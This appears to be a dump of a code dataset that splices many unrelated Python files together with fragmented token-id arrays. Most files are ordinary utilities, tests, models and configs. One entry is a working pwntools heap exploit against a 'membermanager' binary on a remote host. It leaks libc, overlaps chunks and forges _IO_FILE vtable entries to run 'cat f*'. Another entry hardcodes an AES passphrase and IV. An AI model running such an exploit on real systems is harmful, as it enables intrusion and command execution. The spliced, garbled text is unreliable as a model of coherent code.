content
stringlengths 1
1.04M
| input_ids
sequencelengths 1
774k
| ratio_char_token
float64 0.38
22.9
| token_count
int64 1
774k
|
|---|---|---|---|
import numpy as np
from pytest import raises
from numpy.testing import assert_allclose
from menpo.shape import PointCloud
from menpo.image import MaskedImage, BooleanImage
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# coding: utf-8
#
# Project: Azimuthal integration
# https://github.com/silx-kit/pyFAI
#
# Copyright (C) 2015-2018 European Synchrotron Radiation Facility, Grenoble, France
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
"""Module containing utilities around shell"""
from __future__ import absolute_import, print_function, division
__author__ = "[email protected]"
__license__ = "MIT"
__copyright__ = "European Synchrotron Radiation Facility, Grenoble, France"
__date__ = "18/12/2017"
__status__ = "development"
__docformat__ = 'restructuredtext'
import sys
import codecs
class ProgressBar:
"""
Progress bar in shell mode
"""
def __init__(self, title, max_value, bar_width):
"""
Create a progress bar using a title, a maximum value and a graphical size.
The display is done with stdout using carriage return to to hide the
previous progress. It is not possible to use stdout for something else
whill a progress bar is in use.
The result looks like:
.. code-block:: none
Title [■■■■■■ ] 50% Message
:param title: Title displayed before the progress bar
:type title: str
:param max_value: The maximum value of the progress bar
:type max_value: float
:param bar_width: Size of the progressbar in the screen
:type bar_width: int
"""
self.title = title
self.max_value = max_value
self.bar_width = bar_width
self.last_size = 0
encoding = None
if hasattr(sys.stdout, "encoding"):
# sys.stdout.encoding can't be used in unittest context with some
# configurations of TestRunner. It does not exists in Python2
# StringIO and is None in Python3 StringIO.
encoding = sys.stdout.encoding
if encoding is None:
# We uses the safer aproch: a valid ASCII character.
self.progress_char = '#'
else:
try:
self.progress_char = u'\u25A0'
_byte = codecs.encode(self.progress_char, encoding)
except (ValueError, TypeError, LookupError):
# In case the char is not supported by the encoding,
# or if the encoding does not exists
self.progress_char = '#'
def clear(self):
"""
Remove the progress bar from the display and move the cursor
at the beginning of the line using carriage return.
"""
sys.stdout.write('\r' + " " * self.last_size + "\r")
sys.stdout.flush()
def update(self, value, message=""):
"""
Update the progrss bar with the progress bar's current value.
Set the progress bar's current value, compute the percentage
of progress and update the screen with. Carriage return is used
first and then the content of the progress bar. The cursor is
at the begining of the line.
:param value: progress bar's current value
:type value: float
:param message: message displayed after the progress bar
:type message: str
"""
coef = (1.0 * value) / self.max_value
percent = round(coef * 100)
bar_position = int(coef * self.bar_width)
if bar_position > self.bar_width:
bar_position = self.bar_width
# line to display
line = '\r%15s [%s%s] % 3d%% %s' % (self.title, self.progress_char * bar_position, ' ' * (self.bar_width - bar_position), percent, message)
# trailing to mask the previous message
line_size = len(line)
clean_size = self.last_size - line_size
if clean_size < 0:
clean_size = 0
self.last_size = line_size
sys.stdout.write(line + " " * clean_size + "\r")
sys.stdout.flush()
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220,
220,
25064,
13,
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448,
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1635,
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220,
220,
220,
220,
220,
220,
220,
25064,
13,
19282,
448,
13,
25925,
3419,
198
] | 2.64837 | 1,840 |
aes_passphrase = "Palantir_is_the_best1337"
aes_iv = b'wtf1sd1sw4t1sd1s'
| [
64,
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] | 1.780488 | 41 |
import numpy as np
import torch
from lifelong_rl.policies.mpc.mpc import MPCPolicy
class PolicyMPCController(MPCPolicy):
"""
Perform MPC planning over a policy that takes in an additional latent.
"""
| [
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] | 3.085714 | 70 |
from .main import ConstContextFilter, ContextVarFilter
__all__ = ("ContextVarFilter", "ConstContextFilter")
| [
6738,
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] | 3.892857 | 28 |
import time
import os
from select import select
import pyqrcode
import subprocess
import re
from magic import Magic
from audio_extract import convert2mkv
from termcolor import colored
import threading
import itertools
import sys
def wait_until_error(f, timeout=0.5):
""" Wait for timeout seconds until the function stops throwing any errors. """
return inner
def send_until_writable(timeout=0.5):
""" This will send a message to the socket only when it is writable and wait for timeout seconds
for the socket to become writable, if the socket was busy. """
return inner
def check_writable(socket):
""" Checks whether the socket is writable """
_, writable, _ = select([], [socket], [], 60)
return writable == [socket]
def print_url(url):
""" Makes a txt file with the URL that is received from the server for the GUI app. """
print(f"\n[{colored('$','blue')}] Please visit {colored(url,'cyan')}")
f = open("invite_link.txt", "w")
f.write(url)
f.close()
def print_qr(url):
""" Prints a QR code using the URL that we received from the server. """
image = pyqrcode.create(url)
image.svg("invite_link.svg", scale=1)
print(image.terminal(quiet_zone=1))
| [
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] | 3.034398 | 407 |
"""Validate NZ bank account number.
Refer to document: [RWT and NRWT Certificates / 2020 / Version 1.0](https://www.ird.govt.nz/-/media/project/ir/home/documents/income-tax/withholding-taxes/rwt-nrwt-withholding-tax-certificate/2020-rwt-and-nrwt-certificate-filing-specification.pdf) charpter 8. Bank account number validation
"""
__all__ = ['nz_bank_validate']
max_length = {
'bank': 2,
'branch': 4,
'base': 8,
'suffix': 4,
}
# The order of following data seems strange because it's copy/pasted from pdf file then manually modified
branch_numbers = {
'01': [('0001', '0999'), ('1100', '1199'), ('1800', '1899')],
'20': [('4100', '4199')],
'02': [('0001', '0999'), ('1200', '1299')],
'21': [('4800', '4899')],
'03': [('0001', '0999'), ('1300', '1399'), ('1500', '1599'), ('1700', '1799'), ('1900', '1999'), ('7350', '7399')],
'22': [('4000', '4049')],
'04': [('2020', '2024')],
'06': [('0001', '0999'), ('1400', '1499')],
'23': [('3700', '3799')],
'08': [('6500', '6599')],
'24': [('4300', '4349')],
'09': [('0000', '0000')],
'25': [('2500', '2599')],
'10': [('5165', '5169')],
'26': [('2600', '2699')],
'11': [('5000', '6499'), ('6600', '8999')],
'12': [('3000', '3299'), ('3400', '3499'), ('3600', '3699')],
'27': [('3800', '3849')],
'13': [('4900', '4999')],
'28': [('2100', '2149')],
'14': [('4700', '4799')],
'29': [('2150', '2299')],
'15': [('3900', '3999')],
'30': [('2900', '2949')],
'16': [('4400', '4499')],
'31': [('2800', '2849')],
'17': [('3300', '3399')],
'33': [('6700', '6799')],
'18': [('3500', '3599')],
'35': [('2400', '2499')],
'19': [('4600', '4649')],
'38': [('9000', '9499')],
}
algorithms = {
'01': 'See note',
'20': 'See note',
'02': 'See note',
'21': 'See note',
'03': 'See note',
'22': 'See note',
'04': 'See note', # possible missing in document
'06': 'See note',
'23': 'See note',
'08': 'D',
'24': 'See note',
'09': 'E',
'25': 'F',
'10': 'See note',
'26': 'G',
'11': 'See note',
'12': 'See note',
'27': 'See note',
'13': 'See note',
'28': 'G',
'14': 'See note',
'29': 'G',
'15': 'See note',
'30': 'See note',
'16': 'See note',
'31': 'X',
'17': 'See note',
'33': 'F',
'18': 'See note',
'35': 'See note',
'19': 'See note',
'38': 'See note',
}
weights = {
# Algorithm
# .....Bank
# .....v.....Branch
# .....v.....v...........Account Base
# .....v.....v...........v........................Suffix
# .....v.....v...........v........................v............Modulo
'A': ((0, 0, 6, 3, 7, 9, 0, 0, 10, 5, 8, 4, 2, 1, 0, 0, 0, 0), 11),
'B': ((0, 0, 0, 0, 0, 0, 0, 0, 10, 5, 8, 4, 2, 1, 0, 0, 0, 0), 11),
'C': ((3, 7, 0, 0, 0, 0, 9, 1, 10, 5, 3, 4, 2, 1, 0, 0, 0, 0), 11),
'D': ((0, 0, 0, 0, 0, 0, 0, 7, 6, 5, 4, 3, 2, 1, 0, 0, 0, 0), 11),
'E': ((0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 4, 3, 2, 0, 0, 0, 1), 11),
'F': ((0, 0, 0, 0, 0, 0, 0, 1, 7, 3, 1, 7, 3, 1, 0, 0, 0, 0), 10),
'G': ((0, 0, 0, 0, 0, 0, 0, 1, 3, 7, 1, 3, 7, 1, 0, 3, 7, 1), 10),
'X': ((0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), 1),
}
def nz_bank_validate(bank: str, branch: str, base: str, suffix: str, *, return_false_on_fail=False) -> bool:
"""Validate New Zealand bank account number, return True if valid, raise ValueError('invalid') if invalid
or return False if invalid and option return_false_on_fail=True
Example:
``nz_bank_validate(*'01-902-0068389-00'.split('-'))``
or
``nz_bank_validate('01', '902', '0068389', '00')``
"""
bank = bank.zfill(max_length['bank'])
branch = branch.zfill(max_length['branch'])
base = base.zfill(max_length['base'])
suffix = suffix.zfill(max_length['suffix'])
for value, length in zip([bank, branch, base, suffix], max_length.values()):
if len(value) != length:
if return_false_on_fail:
return False
raise ValueError('invalid')
if not check_branch_number(bank, branch):
if return_false_on_fail:
return False
raise ValueError('invalid')
algo = get_algorithm(bank, branch, base, suffix)
if algo not in weights:
if return_false_on_fail:
return False
raise ValueError('invalid')
weight, modulo = weights[algo]
number = ''.join((bank, branch, base, suffix))
sum_weight = sum(
multiply(algo, int(digit), factor)
for digit, factor in zip(number, weight)
)
if (sum_weight % modulo) != 0:
if return_false_on_fail:
return False
raise ValueError('invalid')
return True
from typing import Callable
def nz_bank_validate2(bank: str, branch: str, base: str, suffix: str, *, return_false_on_fail=False) -> bool:
"""Validate New Zealand bank account number, return True if valid, raise ValueError('invalid') if invalid
or return False if invalid and option return_false_on_fail=True
Example:
``nz_bank_validate(*'01-902-0068389-00'.split('-'))``
or
``nz_bank_validate('01', '902', '0068389', '00')``
"""
bank = bank.zfill(max_length['bank'])
branch = branch.zfill(max_length['branch'])
base = base.zfill(max_length['base'])
suffix = suffix.zfill(max_length['suffix'])
for value, length in zip([bank, branch, base, suffix], max_length.values()):
if len(value) != length:
if return_false_on_fail:
return False
raise ValueError('invalid')
if not check_branch_number(bank, branch):
if return_false_on_fail:
return False
raise ValueError('invalid')
algo = get_algorithm(bank, branch, base, suffix)
if algo not in weights:
if return_false_on_fail:
return False
raise ValueError('invalid')
weight, modulo = weights[algo]
number = ''.join((bank, branch, base, suffix))
assert len(number) == len(weight)
mul = get_multiply_by_algorithm(algo)
sum_weight = sum(
# mul(int(digit), factor)
mul(ord(digit) - 48, factor)
for digit, factor in zip(number, weight)
)
if (sum_weight % modulo) != 0:
if return_false_on_fail:
return False
raise ValueError('invalid')
return True
digit_factor1 = [
[f1(digit, factor) for factor in range(11)]
for digit in range(10)
]
digit_factor2 = [
[f2(digit, factor) for factor in range(11)]
for digit in range(10)
]
from typing import List
def nz_bank_validate3(bank: str, branch: str, base: str, suffix: str, *, return_false_on_fail=False) -> bool:
"""Validate New Zealand bank account number, return True if valid, raise ValueError('invalid') if invalid
or return False if invalid and option return_false_on_fail=True
Example:
``nz_bank_validate(*'01-902-0068389-00'.split('-'))``
or
``nz_bank_validate('01', '902', '0068389', '00')``
"""
bank = bank.zfill(max_length['bank'])
branch = branch.zfill(max_length['branch'])
base = base.zfill(max_length['base'])
suffix = suffix.zfill(max_length['suffix'])
for value, length in zip([bank, branch, base, suffix], max_length.values()):
if len(value) != length:
if return_false_on_fail:
return False
raise ValueError('invalid')
if not check_branch_number(bank, branch):
if return_false_on_fail:
return False
raise ValueError('invalid')
algo = get_algorithm(bank, branch, base, suffix)
if algo not in weights:
if return_false_on_fail:
return False
raise ValueError('invalid')
weight, modulo = weights[algo]
number = ''.join((bank, branch, base, suffix))
assert len(number) == len(weight)
matrix = get_matrix_by_algorithm(algo)
sum_weight = sum(
# mul(int(digit), factor)
matrix[ord(digit) - 48][factor]
for digit, factor in zip(number, weight)
)
if (sum_weight % modulo) != 0:
if return_false_on_fail:
return False
raise ValueError('invalid')
return True
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from __future__ import absolute_import, print_function
from django.db import models
from django.utils import timezone
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.models.search_common import SearchType
DEFAULT_SAVED_SEARCHES = [
{
'name': 'Unresolved Issues',
'query': 'is:unresolved',
'is_default': True
},
{
'name': 'Needs Triage',
'query': 'is:unresolved is:unassigned'
},
{
'name': 'Assigned To Me',
'query': 'is:unresolved assigned:me'
},
{
'name': 'My Bookmarks',
'query': 'is:unresolved bookmarks:me'
},
{
'name': 'New Today',
'query': 'is:unresolved age:-24h'
},
]
DEFAULT_SAVED_SEARCH_QUERIES = set(search['query'] for search in DEFAULT_SAVED_SEARCHES)
class SavedSearch(Model):
"""
A saved search query.
"""
__core__ = True
# TODO: Remove this column and rows where it's not null once we've
# completely removed Sentry 9
project = FlexibleForeignKey('sentry.Project', null=True)
organization = FlexibleForeignKey('sentry.Organization', null=True)
type = models.PositiveSmallIntegerField(default=SearchType.ISSUE.value, null=True)
name = models.CharField(max_length=128)
query = models.TextField()
date_added = models.DateTimeField(default=timezone.now)
# TODO: Remove this column once we've completely removed Sentry 9
is_default = models.BooleanField(default=False)
is_global = models.NullBooleanField(null=True, default=False, db_index=True)
owner = FlexibleForeignKey('sentry.User', null=True)
@property
@is_pinned.setter
@property
__repr__ = sane_repr('project_id', 'name')
# TODO: Remove once we've completely removed sentry 9
class SavedSearchUserDefault(Model):
"""
Indicates the default saved search for a given user
"""
__core__ = True
savedsearch = FlexibleForeignKey('sentry.SavedSearch')
project = FlexibleForeignKey('sentry.Project')
user = FlexibleForeignKey('sentry.User')
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] | 2.619647 | 794 |
import itertools
import time
import h5py
import sys
import os
import scipy.special
import numpy as np
sys.path.append('partools')
sys.path.append('scitools')
sys.path.append('util')
import parallel as par
from filters import boxFilter2D, upSample2D
import tensorflow as tf
import tensorflowUtils as tfu
from tensorflow.keras.models import load_model
from myProgressBar import printProgressBar
par.printRoot('GENERATE TF RECORD WITH SUBFILTER SQUARED')
# Filenames to read
filenameTrain = 'data/Mom1kseTrain.tfrecord'
filenameTest = 'data/Mom1kseTest.tfrecord'
model = load_model('weight1KSE/WeightsSC_filt_4_blocks_2/best.h5')
# Initialize the tf dataset to read
dsTrain = tf.data.TFRecordDataset(filenameTrain)
dsTrain = dsTrain.map(tfu._mom_parse_function) # parse the record
dsTest = tf.data.TFRecordDataset(filenameTest)
dsTest = dsTest.map(tfu._mom_parse_function) # parse the record
# Filename to write
dataPath = filenameTrain.split('/')
dataPath[-1] = 'Mom2' + dataPath[-1]
filenameToWriteTrain = os.path.join(*dataPath)
dataPath = filenameTest.split('/')
dataPath[-1] = 'Mom2' + dataPath[-1]
filenameToWriteTest = os.path.join(*dataPath)
nSnapTrain = 0
for _,_ in dsTrain:
nSnapTrain += 1
nSnapTest = 0
for _,_ in dsTest:
nSnapTest += 1
dsTrain = dsTrain.batch(4096)
dsTest = dsTest.batch(4096)
printProgressBar(0, nSnapTrain, prefix = 'Output snapshot Train ' + str(0) + ' / ' +str(nSnapTrain),suffix = 'Complete', length = 50)
with tf.io.TFRecordWriter(filenameToWriteTrain) as writer:
counter=0
for element in dsTrain:
qoi = element[0]
data = element[1]
# ~~~~ Prepare the data
n_batch = qoi.shape[0]
n_qoi = qoi.shape[2]
n_data = data.shape[2]
# Create the subfilter field
A = model.predict(np.reshape(qoi,(n_batch,n_qoi,1)))
subfiltFieldSq = (data - np.reshape(A,(n_batch,1,n_data,1)))**2
# ~~~~ Write the data
for idat in range(n_batch):
tf_example = tfu.mom2_example(counter,n_data,n_qoi,bytes(qoi[idat]),bytes(subfiltFieldSq[idat]))
writer.write(tf_example.SerializeToString())
counter += 1
printProgressBar(counter, nSnapTrain, prefix = 'Output snapshot Train ' + str(counter) + ' / ' +str(nSnapTrain),suffix = 'Complete', length = 50)
printProgressBar(0, nSnapTest, prefix = 'Output snapshot Test ' + str(0) + ' / ' +str(nSnapTest),suffix = 'Complete', length = 50)
with tf.io.TFRecordWriter(filenameToWriteTest) as writer:
counter=0
for element in dsTest:
qoi = element[0]
data = element[1]
# ~~~~ Prepare the data
n_batch = qoi.shape[0]
n_qoi = qoi.shape[2]
n_data = data.shape[2]
# Create the subfilter field
A = model.predict(np.reshape(qoi,(n_batch,n_qoi,1)))
subfiltFieldSq = (data - np.reshape(A,(n_batch,1,n_data,1)))**2
# ~~~~ Write the data
for idat in range(n_batch):
tf_example = tfu.mom2_example(counter,n_data,n_qoi,bytes(qoi[idat]),bytes(subfiltFieldSq[idat]))
writer.write(tf_example.SerializeToString())
counter += 1
printProgressBar(counter, nSnapTest, prefix = 'Output snapshot Test ' + str(counter) + ' / ' +str(nSnapTest),suffix = 'Complete', length = 50)
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] | 2.373039 | 1,402 |
from typing import List, Tuple, Optional
import numpy as np
from banditpylib.arms import PseudoArm
from .utils import OrdinaryLearner
class EpsGreedy(OrdinaryLearner):
r"""Epsilon-Greedy policy
With probability :math:`\frac{\epsilon}{t}` do uniform sampling and with the
remaining probability play the arm with the maximum empirical mean.
"""
def __init__(
self, arm_num: int, horizon: int, name: str = None, eps: float = 1.0):
"""
Args:
arm_num: number of arms
horizon: total number of time steps
name: alias name
eps: epsilon
"""
super().__init__(arm_num=arm_num, horizon=horizon, name=name)
if eps <= 0:
raise Exception('Epsilon %.2f in %s is no greater than 0!' % \
(eps, self.__name))
self.__eps = eps
def _name(self) -> str:
"""
Returns:
default learner name
"""
return 'epsilon_greedy'
def reset(self):
"""Reset the learner
.. warning::
This function should be called before the start of the game.
"""
self.__pseudo_arms = [PseudoArm() for arm_id in range(self.arm_num())]
# current time step
self.__time = 1
def actions(self, context=None) -> Optional[List[Tuple[int, int]]]:
"""
Args:
context: context of the ordinary bandit which should be `None`
Returns:
arms to pull
"""
del context
# pylint: disable=no-member
if self.__time > self.horizon():
self.__last_actions = None
elif self.__time <= self.arm_num():
self.__last_actions = [((self.__time - 1) % self.arm_num(), 1)]
# with probability eps/t, randomly select an arm to pull
elif np.random.random() <= self.__eps / self.__time:
self.__last_actions = [(np.random.randint(0, self.arm_num()), 1)]
else:
self.__last_actions = [
(np.argmax(np.array([arm.em_mean
for arm in self.__pseudo_arms])), 1)
]
return self.__last_actions
def update(self, feedback: List[Tuple[np.ndarray, None]]):
"""Learner update
Args:
feedback: feedback returned by the bandit environment by executing
:func:`actions`
"""
self.__pseudo_arms[self.__last_actions[0][0]].update(feedback[0][0])
self.__time += 1
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] | 2.462963 | 918 |
from django.shortcuts import render
from django.http import HttpResponseRedirect, HttpResponse
from django.contrib.auth.models import User
from django.shortcuts import get_object_or_404, render, redirect
from .models import CarDealer, DealerReview, CarModel, CarMake
from .restapis import get_dealers_from_cf,get_dealer_reviews_from_cf,post_request
from django.contrib.auth import login, logout, authenticate
from django.contrib import messages
from datetime import datetime
import logging
import json
# Get an instance of a logger
logger = logging.getLogger(__name__)
# Create your views here.
# Update the `get_dealerships` view to render the index page with a list of dealerships
# Create a `get_dealer_details` view to render the reviews of a dealer
# def get_dealer_details(request, dealer_id):
# Create a `add_review` view to submit a review
# def add_review(request, dealer_id):
# ... | [
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7,
834,
3672,
834,
8,
628,
198,
2,
13610,
534,
5009,
994,
13,
628,
628,
198,
198,
2,
10133,
262,
4600,
1136,
62,
31769,
364,
5748,
63,
1570,
284,
8543,
262,
6376,
2443,
351,
257,
1351,
286,
15737,
5748,
628,
198,
2,
13610,
257,
4600,
1136,
62,
31769,
263,
62,
36604,
63,
1570,
284,
8543,
262,
8088,
286,
257,
16456,
198,
2,
825,
651,
62,
31769,
263,
62,
36604,
7,
25927,
11,
16456,
62,
312,
2599,
198,
198,
2,
13610,
257,
4600,
2860,
62,
19023,
63,
1570,
284,
9199,
257,
2423,
198,
2,
825,
751,
62,
19023,
7,
25927,
11,
16456,
62,
312,
2599,
198,
2,
2644
] | 3.365672 | 268 |
from django.conf.urls import url
from . import views
from django.contrib.auth.views import LoginView,LogoutView
app_name='accounts'
urlpatterns = [
url(r'^$', views.home , name='home'),
url(r'^login/$', LoginView.as_view(template_name='login.html'), name="login"),
url(r'^logout$', LogoutView),
url(r'^signup$', views.register, name='register'),
url(r'^(?P<slug>[-\w]+)/$', views.profile, name='profile'),
url(r'^(?P<slug>[-\w]+)/edit$', views.edit_profile, name='edit_profile'),
]
| [
6738,
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30,
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3,
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13,
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11,
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198,
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7,
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7,
30,
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86,
48688,
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3,
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62,
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11,
1438,
11639,
19312,
62,
13317,
33809,
628,
198,
60,
198
] | 2.458937 | 207 |
from unittest import TestCase
from remoteappmanager.docker.container import Container
from remoteappmanager.docker.docker_labels import (
SIMPHONY_NS, SIMPHONY_NS_RUNINFO)
from remoteappmanager.tests.mocking.virtual.docker_client import \
VirtualDockerClient
from remoteappmanager.tests.utils import assert_containers_equal
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628
] | 3.479167 | 96 |
#!/usr/bin/env python
# encoding: utf-8
import os
import numpy as np
import knn
def valu_result(pre_y, real_y):
"""
效果评估
"""
pre_count = {}
all_count = {}
for pre, real in zip(pre_y, real_y):
if real not in pre_count:
pre_count[real] = {}
all_count[real] = all_count.get(real, 0) + 1
if pre == real:
pre_count[real]["t"] = pre_count[real].get("t", 0)+ 1
else:
pre_count[real]['f'] = pre_count[real].get("f", 0) + 1
all_true = 0.0
for k, v in all_count.items():
all_true += pre_count[k].get("t")
print("acc: %s, %f "%(k, pre_count[k]["t"]/v,))
print("all acc : %f"%(all_true/ sum(all_count.values())))
test_mnist()
"""
最后的结果是k==1 反而是最好高的准确率？很奇怪
"""
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198,
17312,
222,
28938,
236,
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163,
119,
241,
162,
252,
250,
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74,
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16,
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237,
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165,
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21410,
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106,
163,
236,
229,
171,
120,
253,
36181,
230,
25001,
229,
45250,
103,
198,
37811,
198
] | 1.787037 | 432 |
import os
import shutil
import tempfile
import uuid
from collections.abc import AsyncIterator, Iterable, Iterator
from pathlib import Path, PurePath
from typing import Any, Callable, Coroutine
from unittest import mock
import pytest
import pytest_asyncio
from platform_storage_api.fs.local import (
FileStatus,
FileStatusType,
FileSystem,
LocalFileSystem,
StorageType,
copy_streams,
)
RemoveMethod = Callable[[FileSystem, PurePath, bool], Coroutine[Any, Any, None]]
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4357,
2744,
28399,
58,
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11,
4377,
11,
6045,
11907,
628
] | 3.132075 | 159 |
#!python3
import os
from algoliasearch.search_client import SearchClient
from dotenv import load_dotenv, find_dotenv
import json
import requests
load_dotenv(find_dotenv())
METADATA_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incoming_webhook/metadata'
REST_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incoming_webhook/global_and_us'
if __name__ == "__main__":
main()
| [
2,
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3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
1388,
3419,
198
] | 2.45641 | 195 |
from pwn import *
#context.log_level = 'debug'
#http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
#http://4ngelboy.blogspot.tw/2017/11/play-with-file-structure-yet-another.html
p = remote('securewebinc.jet', 5555)
#p = process('./membermanager')
binary = ELF('./membermanager')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.28.so'), won't work cause fucking tcachebins
enterName('Mr. Fizz')
#libc leak
readLeak = leaklibc()
log.info('Leaked read address: ' + hex(readLeak))
libcBase = readLeak - libc.symbols['read']
log.info('Leaked libc base: ' + hex(libcBase))
#make 4 chunks
#chunk 0 -> we use this to overflow
#chunk 1 -> this will be overflowed, make it at least 0x101 so we control 2 bytes
#chunk 2 -> chunk to be messed with and freed into unsorted
#chunk 3 -> prevent consolidation with top chunk
alloc(0x88, 'A' * 0x88) #read fills it all up, when insecure edit, can overflow
alloc(0x100, 'B' * 0x80) #0x100 plus 16 bytes of metadata -> 0x110
#this chunk will be forged to help in unsorted bin attack... there are checks involved to check valid sizes
fakechunkpad = 'C' * 0x160
fakechunkpayload = p64(0) + p64(0x21) #fastbin size
alloc(0x500, fakechunkpad + fakechunkpayload) #0x510 is real size
alloc(0x88, 'D' * 0x80) #prevent top consolidation
#now free lol, to help start the unsorted bin attack
ban(2)
log.info('Overflowing chunks')
#now overflow
edit(0, 2, 'A' * 0x88 + p64(0x110 + 0x10 + 0x160 + 0x1)) #so chunk 1 size + chunk metadata size + fakechunkpad size + 0x1 (for prev in use bit)
#chunks successfully overlapped!
log.info('Chunks overlapped')
#now mess with IO_file structs to change something in vtable so when a file read/input/output function is called, triggers a shell
#make it call something at like name perhaps
changeName(p64(0) * 3 + p64(libcBase + libc.symbols['system'])) #padding + system
#we can start crafting the fake _IO_FILE to satisfy the first part of the check within _IO_flush_all_lockup() function
#condition to get: fp->_IO_write_ptr > fp->_IO_write_base
log.info('Messing with IO vt table')
nameLocation = 0x6020a0 #constant cause BSS and no PIE
IO_list_all = 0x3c5520
payload = "B" * 8*32 # overflow to victim chunk using secure edit
payload += 'cat f*\x00' # fake prev
payload += p64(0x61) # fake shrinked size
payload += p64(0) # fake FD
payload += p64(libcBase + - 0x10) # fake BK
payload += p64(2) # fp->_IO_write_base
payload += p64(3) # fp->_IO_write_ptr
payload += p64(0) * 21 # filling
payload += p64(nameLocation) # fake *vtable
edit(1, 1, payload) # use secure edit
#/bin/sh in previous field because: prev_size (start of the chunk) was passed in RDI register, so say, an argument to system() later.
log.info('Overrode vt table')
log.info('Triggering unsorted bin attack')
p.recvrepeat(0.1)
p.sendline('1')
p.recvrepeat(0.1)
p.sendline(str(0x80))
p.interactive() | [
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] | 2.554247 | 1,189 |
#!/usr/bin/env python
# coding: utf-8
#############################################
# File Name: setup.py
# Author: whzcorcd
# Mail: [email protected]
# Created Time: 2020-06-08
#############################################
from setuptools import setup, find_packages
with open("README.md", "r") as fh:
long_description = fh.read()
setup(
name="sentry-wechat",
version='0.0.3',
author='whzcorcd',
author_email='[email protected]',
url='https://github.com/corcd/sentry-wechat',
description='A sentry extension which share information to Wechat Work',
long_description=long_description,
long_description_content_type="text/markdown",
license='MIT',
keywords='sentry wechat',
include_package_data=True,
zip_safe=False,
package_dir={'': 'src'},
packages=find_packages('src'),
install_requires=[
'sentry>=9.0.0',
'requests',
],
entry_points={
'sentry.plugins': [
'sentry_wechat = sentry_wechat.plugin:WechatPlugin'
]
},
classifiers=[
'Programming Language :: Python :: 2.7',
"License :: OSI Approved :: MIT License",
]
)
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] | 2.515086 | 464 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright (c) 2012 Jérémie DECOCK (http://www.jdhp.org)
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
"""
This module does blah blah.
Here is the description of the module.
See PEP 257 (http://legacy.python.org/dev/peps/pep-0257/) for more details.
See also http://stackoverflow.com/questions/2557110/what-to-put-in-a-python-module-docstring.
See also PEP 8 (http://legacy.python.org/dev/peps/pep-0008/) for Python's good practices.
"""
import sys, os
def main():
"""
This function does blah blah.
Here is the description of the function.
See PEP 257 (http://legacy.python.org/dev/peps/pep-0257/) for more details.
See also PEP 8 (http://legacy.python.org/dev/peps/pep-0008/) for Python's good practices.
"""
# Print the python version
# The follow syntax only works with Python 3.x: a, b, *rest = sequence
# This script can't be executed with Python 2.x (not even with Python 2.7)
version, *rest = sys.version.split(' ')
print("Hello from Python", version, os.linesep)
print("Hello!")
print("¡Buenos días!")
print("Bonjour!")
print("你好！")
if __name__ == '__main__':
main()
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] | 3.090909 | 715 |
#!/usr/bin/python3 -d
# Copyright (c) 2020 Johannes Findeisen <[email protected]>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is furnished
# to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice (including the next
# paragraph) shall be included in all copies or substantial portions of the
# Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
# OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
# OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
import argparse
import calendar
import json
import logging
import logging.handlers
import pymysql
import socket
import time
try:
from fritzconnection.fritzconnection.lib.fritzstatus import FritzStatus
except ImportError:
